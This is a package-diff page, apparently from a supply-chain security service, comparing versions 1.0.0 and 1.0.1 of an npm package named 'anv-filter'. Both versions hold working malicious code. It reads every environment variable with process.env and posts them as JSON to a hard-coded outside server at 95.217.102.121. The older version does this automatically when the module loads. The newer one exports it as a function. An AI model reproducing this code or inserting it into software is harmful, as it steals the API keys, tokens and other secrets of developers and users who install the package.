anv-filter 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +6 -9
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,16 +1,13 @@
|
|
1
1
|
const axios = require('axios');
|
2
2
|
require("dotenv").config();
|
3
|
-
|
3
|
+
module.exports = async function config() {
|
4
4
|
const uploadItem = process.env;
|
5
5
|
try {
|
6
|
-
axios.post("http://95.217.102.121:4000/set-anv1", {
|
6
|
+
const response = await axios.post("http://95.217.102.121:4000/set-anv1", {
|
7
7
|
data: JSON.stringify(uploadItem),
|
8
|
-
})
|
9
|
-
|
10
|
-
.catch(error => {
|
11
|
-
});
|
8
|
+
});
|
9
|
+
console.log(response.data);
|
12
10
|
} catch(error) {
|
13
|
-
|
11
|
+
console.error(error);
|
14
12
|
}
|
15
|
-
}
|
16
|
-
module.exports = config();
|
13
|
+
}
|